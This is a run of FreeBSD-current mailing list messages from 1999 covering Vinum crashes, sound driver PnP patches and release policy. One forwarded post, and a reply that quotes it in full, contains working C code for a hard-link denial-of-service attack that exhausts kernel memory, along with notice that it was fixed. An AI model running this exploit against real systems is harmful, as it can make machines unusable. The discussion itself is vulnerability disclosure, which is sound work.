Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137])
	by hub.freebsd.org (Postfix) with ESMTP id 5E9BA14D70
	for <freebsd-current@FreeBSD.ORG>; Mon, 27 Sep 1999 20:24:21 -0700 (PDT)
	(envelope-from grog@freebie.lemis.com)
Received: (from grog@localhost)
	by freebie.lemis.com (8.9.3/8.9.0) id MAA95394;
	Tue, 28 Sep 1999 12:54:13 +0930 (CST)
Date: Tue, 28 Sep 1999 12:54:13 +0930
From: Greg Lehey <grog@lemis.com>
To: peter.jeremy@alcatel.com.au
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: System crash on "vinum start"
Message-ID: <19990928125412.I94452@freebie.lemis.com>
References: <19990925104024.B54407@freebie.lemis.com> <199909271705.NAA43302@concours.pc.sas.com> <3.0.3.32.19990927153730.0204c420@207.227.119.2> <19990928084130.L46202@freebie.lemis.com> <99Sep28.125643est.40332@border.alcanet.com.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <99Sep28.125643est.40332@border.alcanet.com.au>; from Peter Jeremy on Tue, Sep 28, 1999 at 12:59:34PM +1000
WWW-Home-Page: http://www.lemis.com/~grog
X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF  13 24 52 F8 6D A4 95 EF
Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-41-739-7062
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Tuesday, 28 September 1999 at 12:59:34 +1000, Peter Jeremy wrote:
> On Tue, Sep 28, 1999 at 09:11:31AM +1000, Greg Lehey wrote:
>>  Good software shouldn't panic.
> I wish _I_ could convince some people of this :-(.
>
>>> Most certainly is.  Could use the functionality to add to a plex's size for
>>> striped or RAID5, but a bit of planning cures that.  8-)
>>
>> It's all in the pipeline.  But first we need Vinum on the root file
>> system.
> And whilst we're discussing wish-lists...  After several fights with
> Digital/Compaq's Logical Storage Manager, it would be _very_ nice if
> recovery could be done at the physical disk level (ie, "I've just
> replaced da3 - autorecover all vinum volumes that used that disk"),
> rather than having to recover each logical volume.  It would also be
> nice if you could recover mirrored root/swap without needing to
> unmirror and re-mirror them.

Yup, it's all on the way.  I've just found the second-last bug in
Vinum, so now I'll have time to do that sort of thing :-)

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 20:44: 0 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail001.mediacity.com (mail001.mediacity.com [205.216.172.9])
	by hub.freebsd.org (Postfix) with SMTP id 0A9DC14F85
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 20:43:58 -0700 (PDT)
	(envelope-from spock@techfour.net)
Received: (qmail 16178 invoked from network); 28 Sep 1999 03:43:58 -0000
Received: from cm-208-138-197-206.fredericksburg.mg.ispchannel.com (HELO enterprise.muriel.penguinpowered.com) (208.138.197.206)
  by mail001.mediacity.com with SMTP; 28 Sep 1999 03:43:58 -0000
Content-Length: 724
Message-ID: <XFMail.990927234517.spock@techfour.net>
X-Mailer: XFMail 1.3.1 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
X-SENDERNAME: `Mike Heffner`
Date: Mon, 27 Sep 1999 23:45:17 -0400 (EDT)
From: Mike Heffner <spock@techfour.net>
To: freebsd-current@freebsd.org
Subject: Program breaks with stable->current (__builtin_apply)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

hi,

i just recently upgraded from stable->current successfully. a program i use
often is unable to run any more though. the program dies in the following spot:

__builtin_apply( serv->cb, __builtin_apply_args(), MAX_DIM_ARGS_LIST));

it dies with a signal 8, floating point exception. browsing over some of the
gcc code, i couldn't see any major differences between stable and current.
is/was there any major change that could effect this? it's the
same exact code as i used with stable, and i recompiled the app after going
-current.

Thanks in advance,


---------------------------------
Mike Heffner <spock@techfour.net>
Fredericksburg, VA
ICQ# 882073
Date: 27-Sep-99   Time: 23:25:50
---------------------------------


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 20:53:43 1999
Delivered-To: freebsd-current@freebsd.org
Received: from culverk.student.umd.edu (culverk.student.umd.edu [129.2.196.87])
	by hub.freebsd.org (Postfix) with ESMTP id 3027314F85
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 20:53:39 -0700 (PDT)
	(envelope-from culverk@culverk.student.umd.edu)
Received: from localhost (culverk@localhost)
	by culverk.student.umd.edu (8.9.3/8.9.3) with ESMTP id XAA00332
	for <freebsd-current@freebsd.org>; Mon, 27 Sep 1999 23:52:45 -0400 (EDT)
	(envelope-from culverk@culverk.student.umd.edu)
Date: Mon, 27 Sep 1999 23:52:45 -0400 (EDT)
From: Kenneth Culver <culverk@culverk.student.umd.edu>
To: freebsd-current@freebsd.org
Subject: just found this
Message-ID: <Pine.BSF.4.10.9909272351370.327-100000@culverk.student.umd.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


Check this out, if anyone is intrested.

I found this on packetstorm.securify.com tonight. Any ideas??

[Resending once, since it's been 10.5 days...]

Here's an interesting denial-of-service attack against FreeBSD >=3.0
systems.  It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no
way to purge entries unless the `vnode' (e.g. the file) they point to
is removed from memory -- which generally doesn't happen unless a
certain magic number of `vnodes' is in use, and never happens when the
`vnode' (i.e. file) is open.  Thus it's possible to chew up an
arbitrary amount of wired kernel memory relatively simply.

What strikes me as funny about this is that the relevant code in
4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not*
susceptible to such an attack, and all of the code to prevent it was
intentionally removed.

I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM,
and it chugged along to about `02/03000' (meaning it created 3 files
and about 63000 or so links), consuming a whopping 34MB of wired
kernel memory (according to `top'), before all file system activity
came to a screeching halt and the machine was unusable.

This exploit does not affect Linux 2.0.36, or any version of NetBSD.
I have not tested Linux versions >=2.1 (which have a different
implementation of the equivalent code from 2.0.36), but based on code
inspection, I do not believe it to be vulnerable to this particular
attack.

Note that, although it may seem like setting quotas is a good solution
to this problem, if the FreeBSD system is acting as a NFS client, it's
possible to use a variant of the attack that only creates one file and
keeps at most one link to it at any given time.

Also note that it may be possible to exercise this against a FTP
server with a writable directory if the server has a way of creating
hard links.  (I'm not aware of any that do, but I point this out for
completeness.)

-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

#define NFILE 64
#define NLINK 30000
#define NCHAR 245

int
main()
{
char junk[NCHAR+1],
     dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
int i, j;
struct stat sb;

memset(junk, 'x', NCHAR);
junk[NCHAR] = '\0';
for (i = 0; i < NFILE; i++) {
printf("\r%02d/%05d...", i, 0),
fflush(stdout);
sprintf(dir, "%02d-%02d", i, 0);
if (mkdir(dir, 0755) < 0)
fprintf(stderr, "mkdir(%s) failed\n", dir),
exit(1);
sprintf(file1, "%s/%s%03d", dir, junk, 0);
if (creat(file1, 0644) < 0)
fprintf(stderr, "creat(%s) failed\n", file1),
exit(1);
if (stat(file1, &sb) < 0)
fprintf(stderr, "stat(%s) failed\n", file1),
exit(1);
for (j = 1; j < NLINK; j++) {
if ((j % 1000) == 0) {
printf("\r%02d/%05d...", i, j),
fflush(stdout);
sprintf(dir, "%02d-%02d", i, j/1000);
if (mkdir(dir, 0755) < 0)
fprintf(stderr, "mkdir(%s) failed\n", dir),
exit(1);
}
sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
if (link(file1, file2) < 0)
fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
exit(1);
if (stat(file2, &sb) < 0)
fprintf(stderr, "stat(%s) failed\n", file2),
exit(1);
}
}
printf("\rfinished successfully\n");
}
-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 21:23:12 1999
Delivered-To: freebsd-current@freebsd.org
Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20])
	by hub.freebsd.org (Postfix) with ESMTP id 416AA15714
	for <freebsd-current@FreeBSD.ORG>; Mon, 27 Sep 1999 21:23:10 -0700 (PDT)
	(envelope-from bright@wintelcom.net)
Received: from localhost (bright@localhost)
	by fw.wintelcom.net (8.9.3/8.9.3) with ESMTP id VAA26634;
	Mon, 27 Sep 1999 21:40:37 -0700 (PDT)
Date: Mon, 27 Sep 1999 21:40:37 -0700 (PDT)
From: Alfred Perlstein <bright@wintelcom.net>
To: Kenneth Culver <culverk@culverk.student.umd.edu>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: just found this
In-Reply-To: <Pine.BSF.4.10.9909272351370.327-100000@culverk.student.umd.edu>
Message-ID: <Pine.BSF.4.05.9909272138440.6368-100000@fw.wintelcom.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


this was fixed in the final hours before 3.3-release.

http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/vfs_cache.c

----

1.38.2.3 Thu Sep 16 2:02:15 1999 UTC by alfred 
CVS Tags: RELENG_3_3_0_RELEASE; Branch: RELENG_3 
Diffs to 1.38.2.2 

Limit aliases to a vnode in the namecache to a sysctl tunable
'vfs.cache.maxaliases'  This protects against a DoS via thousands
of hardlinks to a file wiring down all kernel memory.

Approved by:    jkh

----

-Alfred Perlstein - [bright@rush.net|alfred@freebsd.org]
Wintelcom systems administrator and programmer
   - http://www.wintelcom.net/ [bright@wintelcom.net]


On Mon, 27 Sep 1999, Kenneth Culver wrote:

> 
> Check this out, if anyone is intrested.
> 
> I found this on packetstorm.securify.com tonight. Any ideas??
> 
> [Resending once, since it's been 10.5 days...]
> 
> Here's an interesting denial-of-service attack against FreeBSD >=3.0
> systems.  It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no
> way to purge entries unless the `vnode' (e.g. the file) they point to
> is removed from memory -- which generally doesn't happen unless a
> certain magic number of `vnodes' is in use, and never happens when the
> `vnode' (i.e. file) is open.  Thus it's possible to chew up an
> arbitrary amount of wired kernel memory relatively simply.
> 
> What strikes me as funny about this is that the relevant code in
> 4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not*
> susceptible to such an attack, and all of the code to prevent it was
> intentionally removed.
> 
> I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM,
> and it chugged along to about `02/03000' (meaning it created 3 files
> and about 63000 or so links), consuming a whopping 34MB of wired
> kernel memory (according to `top'), before all file system activity
> came to a screeching halt and the machine was unusable.
> 
> This exploit does not affect Linux 2.0.36, or any version of NetBSD.
> I have not tested Linux versions >=2.1 (which have a different
> implementation of the equivalent code from 2.0.36), but based on code
> inspection, I do not believe it to be vulnerable to this particular
> attack.
> 
> Note that, although it may seem like setting quotas is a good solution
> to this problem, if the FreeBSD system is acting as a NFS client, it's
> possible to use a variant of the attack that only creates one file and
> keeps at most one link to it at any given time.
> 
> Also note that it may be possible to exercise this against a FTP
> server with a writable directory if the server has a way of creating
> hard links.  (I'm not aware of any that do, but I point this out for
> completeness.)
> 
> -----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
> #include <stdio.h>
> #include <unistd.h>
> #include <sys/stat.h>
> 
> #define NFILE 64
> #define NLINK 30000
> #define NCHAR 245
> 
> int
> main()
> {
> char junk[NCHAR+1],
>      dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
> int i, j;
> struct stat sb;
> 
> memset(junk, 'x', NCHAR);
> junk[NCHAR] = '\0';
> for (i = 0; i < NFILE; i++) {
> printf("\r%02d/%05d...", i, 0),
> fflush(stdout);
> sprintf(dir, "%02d-%02d", i, 0);
> if (mkdir(dir, 0755) < 0)
> fprintf(stderr, "mkdir(%s) failed\n", dir),
> exit(1);
> sprintf(file1, "%s/%s%03d", dir, junk, 0);
> if (creat(file1, 0644) < 0)
> fprintf(stderr, "creat(%s) failed\n", file1),
> exit(1);
> if (stat(file1, &sb) < 0)
> fprintf(stderr, "stat(%s) failed\n", file1),
> exit(1);
> for (j = 1; j < NLINK; j++) {
> if ((j % 1000) == 0) {
> printf("\r%02d/%05d...", i, j),
> fflush(stdout);
> sprintf(dir, "%02d-%02d", i, j/1000);
> if (mkdir(dir, 0755) < 0)
> fprintf(stderr, "mkdir(%s) failed\n", dir),
> exit(1);
> }
> sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
> if (link(file1, file2) < 0)
> fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
> exit(1);
> if (stat(file2, &sb) < 0)
> fprintf(stderr, "stat(%s) failed\n", file2),
> exit(1);
> }
> }
> printf("\rfinished successfully\n");
> }
> -----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 22:38:56 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peak.mountin.net (peak.mountin.net [207.227.119.2])
	by hub.freebsd.org (Postfix) with ESMTP id 5356714F0E
	for <freebsd-current@FreeBSD.ORG>; Mon, 27 Sep 1999 22:38:54 -0700 (PDT)
	(envelope-from jeff-ml@mountin.net)
Received: (from daemon@localhost)
	by peak.mountin.net (8.9.1/8.9.1) id AAA09261;
	Tue, 28 Sep 1999 00:38:47 -0500 (CDT)
	(envelope-from jeff-ml@mountin.net)
Received: from dial-9.tnt1.rac.cyberlynk.net(209.224.182.9) by peak.mountin.net via smap (V1.3)
	id sma009259; Tue Sep 28 00:38:37 1999
Message-Id: <3.0.3.32.19990928003640.00b92620@207.227.119.2>
X-Sender: jeff-ml@207.227.119.2
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Tue, 28 Sep 1999 00:36:40 -0500
To: Greg Lehey <grog@lemis.com>
From: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Subject: Re: System crash on "vinum start"
Cc: Brad Chisholm <sasblc@unx.sas.com>, freebsd-current@FreeBSD.ORG
In-Reply-To: <19990928084130.L46202@freebie.lemis.com>
References: <3.0.3.32.19990927153730.0204c420@207.227.119.2>
 <19990925104024.B54407@freebie.lemis.com>
 <199909271705.NAA43302@concours.pc.sas.com>
 <3.0.3.32.19990927153730.0204c420@207.227.119.2>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 08:41 AM 9/28/99 +0930, Greg Lehey wrote:
>It has changed (again).

And the preferred method is...
a) /dev/da0
b) /dev/da0s1
c) /dev/da0s1e
(-current and -stable I hope :)

>> Not to surprising that it paniced with what appeared to be a
>> "dedicated" disk (ie da0e).
>
>It's surprising.  Good software shouldn't panic.  But this input is
>valuable, because now I know where to look.

Should have spoken up quite a while back.  Figured it was pilot error and
the panic was a self-inflicted gunshot wound.

>I think you're misinterpreting what Brad was saying.  He was issuing
>the same command, once during boot and once later.  I've had a number
>of reports of this problem, but this is the first one that helps me
>find the bug.

Interpreted as an either/or.  Vinum read followed by a vinum read (or start)?

>It's all in the pipeline.  But first we need Vinum on the root file
>system.

How is this coming along, been quite a while since anything has discussed
(-current/-stable/-cvs).  Last thing was back in July.


Jeff Mountin - jeff@mountin.net
Systems/Network Administrator
FreeBSD - the power to serve
'86 Yamaha MaxiumX (not FBSD powered)



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Sep 27 22:45: 8 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137])
	by hub.freebsd.org (Postfix) with ESMTP id 6EB4914F0E
	for <freebsd-current@FreeBSD.ORG>; Mon, 27 Sep 1999 22:44:56 -0700 (PDT)
	(envelope-from grog@freebie.lemis.com)
Received: (from grog@localhost)
	by freebie.lemis.com (8.9.3/8.9.0) id PAA96851;
	Tue, 28 Sep 1999 15:14:16 +0930 (CST)
Date: Tue, 28 Sep 1999 15:14:16 +0930
From: Greg Lehey <grog@lemis.com>
To: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Cc: Brad Chisholm <sasblc@unx.sas.com>, freebsd-current@FreeBSD.ORG
Subject: Re: System crash on "vinum start"
Message-ID: <19990928151416.S94452@freebie.lemis.com>
References: <3.0.3.32.19990927153730.0204c420@207.227.119.2> <19990925104024.B54407@freebie.lemis.com> <199909271705.NAA43302@concours.pc.sas.com> <3.0.3.32.19990927153730.0204c420@207.227.119.2> <19990928084130.L46202@freebie.lemis.com> <3.0.3.32.19990928003640.00b92620@207.227.119.2>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <3.0.3.32.19990928003640.00b92620@207.227.119.2>; from Jeffrey J. Mountin on Tue, Sep 28, 1999 at 12:36:40AM -0500
WWW-Home-Page: http://www.lemis.com/~grog
X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF  13 24 52 F8 6D A4 95 EF
Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-41-739-7062
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Tuesday, 28 September 1999 at  0:36:40 -0500, Jeffrey J. Mountin wrote:
> At 08:41 AM 9/28/99 +0930, Greg Lehey wrote:
>> It has changed (again).
>
> And the preferred method is...
> a) /dev/da0
> b) /dev/da0s1
> c) /dev/da0s1e
> (-current and -stable I hope :)

(b) or (c).  (a) isn't a slice.  Note that it won't take slice c,
either.

>>> Not to surprising that it paniced with what appeared to be a
>>> "dedicated" disk (ie da0e).
>>
>> It's surprising.  Good software shouldn't panic.  But this input is
>> valuable, because now I know where to look.
>
> Should have spoken up quite a while back.  Figured it was pilot error and
> the panic was a self-inflicted gunshot wound.

Read http://www.lemis.com/vinum/how-to-debug.html.  It's also in
vinum(4).

>> I think you're misinterpreting what Brad was saying.  He was issuing
>> the same command, once during boot and once later.  I've had a number
>> of reports of this problem, but this is the first one that helps me
>> find the bug.
>
> Interpreted as an either/or.  Vinum read followed by a vinum read (or start)?

You don't want to use vinum read.  Just vinum start.  And I've found
the bug (thanks, Brad).  I'll be committing a fix Real Soon Now.

>> It's all in the pipeline.  But first we need Vinum on the root file
>> system.
>
> How is this coming along, been quite a while since anything has discussed
> (-current/-stable/-cvs).  Last thing was back in July.

It's still in the pipeline.  I can't give any time frame.  There are
some bugs I need to look at (http://www.lemis.com/vinum/bugs.html),
and then I can start thinking about it.

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  0:44:22 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP id 39DA814D21
	for <freebsd-current@FreeBSD.ORG>; Tue, 28 Sep 1999 00:44:17 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id AAA14205;
	Tue, 28 Sep 1999 00:43:01 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199909280743.AAA14205@gndrsh.dnsmgr.net>
Subject: Re: System crash on "vinum start"
In-Reply-To: <99Sep28.125643est.40332@border.alcanet.com.au> from Peter Jeremy at "Sep 28, 1999 12:59:34 pm"
To: peter.jeremy@alcatel.com.au
Date: Tue, 28 Sep 1999 00:43:00 -0700 (PDT)
Cc: grog@lemis.com (Greg Lehey), freebsd-current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> On Tue, Sep 28, 1999 at 09:11:31AM +1000, Greg Lehey wrote:
> >  Good software shouldn't panic.
> I wish _I_ could convince some people of this :-(.
> 
> > > Most certainly is.  Could use the functionality to add to a plex's size for
> > > striped or RAID5, but a bit of planning cures that.  8-)
> > 
> > It's all in the pipeline.  But first we need Vinum on the root file
> > system.
> And whilst we're discussing wish-lists...  After several fights with
> Digital/Compaq's Logical Storage Manager, it would be _very_ nice if
> recovery could be done at the physical disk level (ie, "I've just
> replaced da3 - autorecover all vinum volumes that used that disk"),
> rather than having to recover each logical volume.  It would also be
> nice if you could recover mirrored root/swap without needing to
> unmirror and re-mirror them.

Hummm.. this may seem like a really stange question, but I'll throw
it out anyway:

Would $9,000 paid to a developer here with immediate time avaliable
bring FreeBSD 3.x to a state of being able to replace our current use
of hardware raid to do Raid-1 mirroring with hot swap automagic
rebuild capabilities?  (It would need to be production quality code
for very serious business, and completed in 3 weeks time.)

Serious responses only please.

-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  1: 7: 1 1999
Delivered-To: freebsd-current@freebsd.org
Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33])
	by hub.freebsd.org (Postfix) with ESMTP id 0233314D21
	for <current@FreeBSD.ORG>; Tue, 28 Sep 1999 01:06:55 -0700 (PDT)
	(envelope-from dfr@nlsystems.com)
Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3])
	by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA63256;
	Tue, 28 Sep 1999 09:09:37 +0100 (BST)
	(envelope-from dfr@nlsystems.com)
Date: Tue, 28 Sep 1999 09:09:36 +0100 (BST)
From: Doug Rabson <dfr@nlsystems.com>
To: Amancio Hasty <hasty@rah.star-gate.com>
Cc: "Donald J . Maddox" <dmaddox@conterra.com>,
	Mike Smith <mike@smith.net.au>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-Reply-To: <199909270948.CAA25858@rah.star-gate.com>
Message-ID: <Pine.BSF.4.10.9909280908490.322-100000@salmon.nlsystems.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Mon, 27 Sep 1999, Amancio Hasty wrote:

> > It requires converting the ancient voxware driver to newbus which isn't
> > really feasable.
> 
> I am not sure about that ... The irq handling, card registration on the voxware
> is fairly straight forward. 

It seems that the awe-specific driver is fairly separated from voxware so
perhaps that won't be too hard to port.

--
Doug Rabson				Mail:  dfr@nlsystems.com
Nonlinear Systems Ltd.			Phone: +44 181 442 9037




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  1:18: 5 1999
Delivered-To: freebsd-current@freebsd.org
Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33])
	by hub.freebsd.org (Postfix) with ESMTP id A5413154CC
	for <current@FreeBSD.ORG>; Tue, 28 Sep 1999 01:17:53 -0700 (PDT)
	(envelope-from dfr@nlsystems.com)
Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3])
	by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA69273;
	Tue, 28 Sep 1999 09:20:52 +0100 (BST)
	(envelope-from dfr@nlsystems.com)
Date: Tue, 28 Sep 1999 09:20:51 +0100 (BST)
From: Doug Rabson <dfr@nlsystems.com>
To: Warner Losh <imp@village.org>
Cc: "Donald J . Maddox" <dmaddox@conterra.com>, current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?) 
In-Reply-To: <199909271855.MAA11609@harmony.village.org>
Message-ID: <Pine.BSF.4.10.9909280920160.322-100000@salmon.nlsystems.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Mon, 27 Sep 1999, Warner Losh wrote:

> In message <Pine.BSF.4.10.9909271035070.322-100000@salmon.nlsystems.com> Doug Rabson writes:
> :      	case 0x31008c0e: /* CTL0031 */
> :      	case 0x41008c0e: /* CTL0041 */
> :      	case 0x42008c0e: /* CTL0042 */
> : +    	case 0x44008c0e: /* CTL0044 */
> :      	case 0x45008c0e: /* CTL0045 */
> 
> What is CTL0043?  Seems like a logical progression to me :-)

CTL0043 is a vibra16x which is slightly different (and is matched by
another part of the switch).

--
Doug Rabson				Mail:  dfr@nlsystems.com
Nonlinear Systems Ltd.			Phone: +44 181 442 9037




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  1:24: 7 1999
Delivered-To: freebsd-current@freebsd.org
Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33])
	by hub.freebsd.org (Postfix) with ESMTP id 731CB154BD
	for <current@freebsd.org>; Tue, 28 Sep 1999 01:23:59 -0700 (PDT)
	(envelope-from dfr@nlsystems.com)
Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3])
	by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA76784;
	Tue, 28 Sep 1999 09:27:02 +0100 (BST)
	(envelope-from dfr@nlsystems.com)
Date: Tue, 28 Sep 1999 09:27:02 +0100 (BST)
From: Doug Rabson <dfr@nlsystems.com>
To: "Donald J . Maddox" <dmaddox@conterra.com>
Cc: current@freebsd.org
Subject: Re: New PnP code does not work for me(?)
In-Reply-To: <19990927181230.C1817@dmaddox.conterra.com>
Message-ID: <Pine.BSF.4.10.9909280925440.322-100000@salmon.nlsystems.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Mon, 27 Sep 1999, Donald J . Maddox wrote:

> Thanks, Doug.  Peter already provided an equivalent patch, and I am
> happy to report that it works like a charm (of course :-)).

Good. The next stage is probably to talk to the midi folks and possibly
see about porting the awe driver.

--
Doug Rabson				Mail:  dfr@nlsystems.com
Nonlinear Systems Ltd.			Phone: +44 181 442 9037




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  1:38:59 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP id E2B8A15507
	for <current@freebsd.org>; Tue, 28 Sep 1999 01:38:51 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id BAA14314;
	Tue, 28 Sep 1999 01:38:43 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199909280838.BAA14314@gndrsh.dnsmgr.net>
Subject: Re: Loss of Functionality with newpnp
In-Reply-To: <20258.938459658@localhost> from "Jordan K. Hubbard" at "Sep 27, 1999 12:14:18 pm"
To: jkh@zippy.cdrom.com (Jordan K. Hubbard)
Date: Tue, 28 Sep 1999 01:38:42 -0700 (PDT)
Cc: current@freebsd.org
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

[Reinsertion of original answer by jkh]

> > > That work is underway, and something to understand about -current
> > > is that it doesn't have to actually work at all times during the
> > > interim periods between releases.  Now, should 4.0 be on the horizon
> > > and the situation still be one where "equivalent functionality"
> > > has not been provided by the newpcm driver, we'll revert back to
> > > the original luigi driver and continue the experiment in the new
> > > post-branch (5.0) current.
[end reinsertion]

> > If that was only true.  Or should I ask why didn't CAM from -3.3 get
> > reverted to the old scsi code before 3.3 was released.  I have seen
> > no less than 2, and perhaps 3 people try to get cards that did work
> > under pre-CAM 3.x working under post-CAM 3.x.  I know this is a slippery
> > slope, but it invalidates your above assertion that we revert back
> > at release when functionality has been lost due to new code.
> 
> No, it doesn't invalidate it in any way shape or form.  I said that in
> this specific case, and you're free to read my message as many times
> as you wish but you'll not find anything saying I was speaking for
> anything BUT the newpcm driver here, the new stuff would be reverted
> if need be.

By implication the first sentence of your response seems to indicate
